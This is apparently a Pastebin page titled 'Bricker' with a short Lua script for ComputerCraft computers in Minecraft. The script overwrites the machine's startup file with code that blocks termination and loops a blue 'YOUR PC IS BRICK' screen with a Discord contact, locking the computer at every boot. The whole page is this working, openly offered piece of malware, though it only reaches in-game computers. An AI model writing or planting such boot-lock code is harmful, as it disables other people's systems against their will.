Advertisement
Leprofourbus

Bricker

Jan 24th, 2025 (edited)
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.81 KB | None | 0 0
  1. local file = fs.open("startup", "w")
  2. file.write([[
  3. os.pullEvent = os.pullEventRaw
  4. term.setBackgroundColor(colors.blue)
  5. term.setTextColor(colors.white)
  6. term.clear()
  7. local width, height = term.getSize()
  8. local message = {
  9.     "YOUR PC IS BRICK",
  10.     "TO AVOID THIS USE NEW LUA",
  11.     "(contact on discord leprofourbus3005)"
  12. }
  13.  
  14. while true do
  15.     term.clear()
  16.     -- Calculate the maximum width of the message lines
  17.     local maxWidth = 0
  18.     for _, line in ipairs(message) do maxWidth = math.max(maxWidth, #line) end
  19.  
  20.     for i, line in ipairs(message) do
  21.         local padding = string.rep(" ", (maxWidth - #line) / 2)
  22.         term.setCursorPos((width - maxWidth) / 2, (height - #message) / 2 + i - 1)
  23.         term.write("  " .. padding .. line .. padding)
  24.     end
  25.     os.sleep(1)
  26. end
  27. ]])
  28. file.close()
  29.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement